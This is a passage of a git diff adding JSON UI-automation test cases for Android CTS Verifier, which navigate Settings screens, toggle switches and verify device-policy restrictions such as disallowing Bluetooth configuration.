+{"uuid":"d7cdb82c-060e-4a47-83c1-c1b9f6396683","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Reset options page\",\"actionId\":\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to System\",\"actionId\":\"d88c1c73-f929-4a0e-8324-ecc5c25f7b49\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"System\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3a8ad221-3634-45be-b92a-4e9ea637f932\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"248422f2-9a9d-4602-91c2-4920f0e35fcd\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a397215e-f365-4cb1-aa34-e5ba377e73d2\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":492.6666666666667,\"x2\":47.666666666666664,\"y2\":525.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":489.0,\"x2\":66.0,\"y2\":529.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"8c77f6fc-1ca0-41dc-9553-073deda25c49\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"98750a01-5d7c-4dd7-8c6c-dbf5de0f179f\",\"displayText\":\"System\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"System\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":490.6666666666667,\"x2\":115.0,\"y2\":510.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.5,\"y\":0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"},{\"uuid\":\"667f7d47-2727-45c1-b372-0c4bc27d0ee5\",\"displayText\":\"Languages, gestures, time, backup\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Languages, gestures, time, backup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":510.3333333333333,\"x2\":266.6666666666667,\"y2\":528.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Languages, gestures, time, backup\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":476.0,\"x2\":345.3333333333333,\"y2\":542.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"System\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":476.0,\"x2\":360.0,\"y2\":542.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":500.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":9.333333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"98750a01-5d7c-4dd7-8c6c-dbf5de0f179f\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"System\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":58.0,\"y1\":489.0,\"x2\":132.0,\"y2\":511.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, System\",\"actionId\":\"38d6a79f-d745-4e95-9309-54b38dc0b663\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"System\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Reset options\",\"actionId\":\"8d14d708-23e0-43ce-905c-0dcb31f29849\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Reset options\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"d88c1c73-f929-4a0e-8324-ecc5c25f7b49\",\"38d6a79f-d745-4e95-9309-54b38dc0b663\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"8d14d708-23e0-43ce-905c-0dcb31f29849\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Reset options page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.099000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d9789ba1-6855-459c-9d3f-30799e7dcb87 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d9789ba1-6855-459c-9d3f-30799e7dcb87
new file mode 100644
index 0000000..f6ebddf
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d9789ba1-6855-459c-9d3f-30799e7dcb87
@@ -0,0 +1 @@
+{"uuid":"d9789ba1-6855-459c-9d3f-30799e7dcb87","details":"{\"type\":\"CompoundAction\",\"name\":\"08_Profile-aware trusted credential settings\",\"actionId\":\"d9789ba1-6855-459c-9d3f-30799e7dcb87\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware trusted credential settings\",\"actionId\":\"24f8918d-a39f-48a0-8f27-7764621af61c\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware trusted credential settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"df350ea2-b025-42b8-9542-18a406769929\",\"displayText\":\"Profile-aware trusted credential settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware trusted credential settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":474.3333333333333,\"x2\":360.0,\"y2\":518.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":142.5,\"y\":494.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":37.5,\"y\":2.3333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"df350ea2-b025-42b8-9542-18a406769929\",\"firstText\":\"Profile-aware trusted credential settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware trusted credential settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":278.0,\"y1\":506.0,\"x2\":7.0,\"y2\":482.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware trusted credential settings\",\"actionId\":\"1042fbb3-dbd4-4c67-adc0-b73d686d87f0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware trusted credential settings\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Encryption & credentials\",\"actionId\":\"82d0920f-ce49-46b4-8a1f-ff417e56c4d9\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Encryption & credentials\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"7ed6a9bf-d414-4b7e-99bb-34d71b27293c\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ecf3c3ab-a580-498b-a3dc-69cde608285b\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b988f19f-242c-43e8-a2be-6602b8fdc295\",\"displayText\":\"Encryption & credentials\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Encryption & credentials\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":484.0,\"x2\":226.66666666666666,\"y2\":503.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.666666666666686,\"y\":-0.6666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encryption & credentials\"},{\"uuid\":\"7c0a8549-1915-4a45-9b4d-042eb2bab410\",\"displayText\":\"Encrypted\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Encrypted\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":503.6666666666667,\"x2\":124.0,\"y2\":521.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encrypted\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":469.3333333333333,\"x2\":345.3333333333333,\"y2\":536.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Encryption & credentials\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":469.3333333333333,\"x2\":360.0,\"y2\":536.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":152.0,\"y\":494.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":28.0,\"y\":8.166666666666629,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b988f19f-242c-43e8-a2be-6602b8fdc295\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Encryption & credentials\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":242.0,\"y1\":507.0,\"x2\":62.0,\"y2\":482.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Encryption & credentials\",\"actionId\":\"49da4fc0-a23d-4777-84eb-df3c404ba137\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Encryption & credentials\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Trusted credentials\",\"actionId\":\"fae84bc2-2bf2-4173-a63e-04b917202f2c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Trusted credentials\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, SYSTEM\",\"actionId\":\"77d5207c-8585-4644-b52c-686e476ae74d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"SYSTEM\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, USER\",\"actionId\":\"ad1d23da-8932-4936-a10c-cc2d46ccaac3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"USER\"}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"24f8918d-a39f-48a0-8f27-7764621af61c\",\"1042fbb3-dbd4-4c67-adc0-b73d686d87f0\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"82d0920f-ce49-46b4-8a1f-ff417e56c4d9\",\"49da4fc0-a23d-4777-84eb-df3c404ba137\",\"fae84bc2-2bf2-4173-a63e-04b917202f2c\",\"77d5207c-8585-4644-b52c-686e476ae74d\",\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"ad1d23da-8932-4936-a10c-cc2d46ccaac3\",\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"08_Profile-aware trusted credential settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.300000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/da770381-d17c-48ca-8aba-def4338ef96b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/da770381-d17c-48ca-8aba-def4338ef96b
new file mode 100644
index 0000000..3d43654
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/da770381-d17c-48ca-8aba-def4338ef96b
@@ -0,0 +1 @@
+{"uuid":"da770381-d17c-48ca-8aba-def4338ef96b","details":"{\"type\":\"CompoundAction\",\"name\":\"Press back key 3 times\",\"actionId\":\"da770381-d17c-48ca-8aba-def4338ef96b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"7e45941a-6152-42e8-9034-d6e38002e957\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"7e45941a-6152-42e8-9034-d6e38002e957\"],\"repeatTime\":3,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press back key 3 times","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.016000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dab0d2a9-befa-4378-bea1-b9d830417b93 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dab0d2a9-befa-4378-bea1-b9d830417b93
new file mode 100644
index 0000000..f5dc305
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dab0d2a9-befa-4378-bea1-b9d830417b93
@@ -0,0 +1 @@
+{"uuid":"dab0d2a9-befa-4378-bea1-b9d830417b93","details":"{\"type\":\"CompoundAction\",\"name\":\"Switch the main location switch at the top of the screen on/off\",\"actionId\":\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Turn main location on/off\",\"actionId\":\"a54d197e-cb99-41ff-8a85-609a3ede5ee0\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Use location\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"a54d197e-cb99-41ff-8a85-609a3ede5ee0\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Switch the main location switch at the top of the screen on/off","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.288000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dbec061f-568e-4ffa-9d71-4a5494853625 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dbec061f-568e-4ffa-9d71-4a5494853625
new file mode 100644
index 0000000..89b4baa
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dbec061f-568e-4ffa-9d71-4a5494853625
@@ -0,0 +1 @@
+{"uuid":"dbec061f-568e-4ffa-9d71-4a5494853625","details":"{\"type\":\"CompoundAction\",\"name\":\"08-Disallow configuring Bluetooth\",\"actionId\":\"dbec061f-568e-4ffa-9d71-4a5494853625\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow configuring Bluetooth\",\"actionId\":\"8ebf73d4-a368-4159-b642-3b753e3a0c54\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow configuring Bluetooth\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b519d9fa-3e2c-40d7-ab16-530bdc80681a\",\"displayText\":\"Disallow configuring Bluetooth\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow configuring Bluetooth\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":405.3333333333333,\"x2\":350.6666666666667,\"y2\":449.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":119.5,\"y\":428.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":60.5,\"y\":-1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b519d9fa-3e2c-40d7-ab16-530bdc80681a\",\"firstText\":\"Disallow configuring Bluetooth\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow configuring Bluetooth\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":415.0,\"x2\":229.0,\"y2\":442.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow configuring Bluetooth\",\"actionId\":\"aa78953b-dc4e-42ba-a11e-46b41b4e3829\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow configuring Bluetooth\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Pair new device function is disabled\",\"actionId\":\"48be674a-d5be-4c04-824c-240df6cf9a78\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Pair new device\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Pair new device\",\"actionId\":\"30295be0-6a21-4111-8a0f-ea37e47112d2\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pair new device\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"4a7d36bc-2b32-4781-83c5-7c608dbe964c\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c2f56922-8a58-406b-9168-96f58069e178\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"8ebf73d4-a368-4159-b642-3b753e3a0c54\",\"aa78953b-dc4e-42ba-a11e-46b41b4e3829\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"48be674a-d5be-4c04-824c-240df6cf9a78\",\"30295be0-6a21-4111-8a0f-ea37e47112d2\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"4a7d36bc-2b32-4781-83c5-7c608dbe964c\",\"c2f56922-8a58-406b-9168-96f58069e178\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"08-Disallow configuring Bluetooth","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.101000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dc47dc72-9a74-4b16-9c5f-4d2cd0560854 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dc47dc72-9a74-4b16-9c5f-4d2cd0560854
new file mode 100644
index 0000000..0123d53
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dc47dc72-9a74-4b16-9c5f-4d2cd0560854
@@ -0,0 +1 @@
+{"uuid":"dc47dc72-9a74-4b16-9c5f-4d2cd0560854","details":"{\"type\":\"CompoundAction\",\"name\":\"Deactivate this device admin app - Sensor\",\"actionId\":\"dc47dc72-9a74-4b16-9c5f-4d2cd0560854\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Toggle Sensor... switch off\",\"actionId\":\"3c803ca4-cca9-4749-a535-0d5ceefe0be0\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Sensor Tests Device Admin Receiver\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"Sensor Tests Device Admin Receiver\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/action_button\",\"actionId\":\"eab03aa8-6d2b-4f76-865b-6057c2ef5e77\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/action_button\"}],\"childrenIdList\":[\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"3c803ca4-cca9-4749-a535-0d5ceefe0be0\",\"eab03aa8-6d2b-4f76-865b-6057c2ef5e77\",\"da770381-d17c-48ca-8aba-def4338ef96b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Deactivate this device admin app - Sensor","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.276000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dd4aaec7-a59b-4646-8cc4-039a19853f62 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dd4aaec7-a59b-4646-8cc4-039a19853f62
new file mode 100644
index 0000000..2402e98
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dd4aaec7-a59b-4646-8cc4-039a19853f62
@@ -0,0 +1 @@
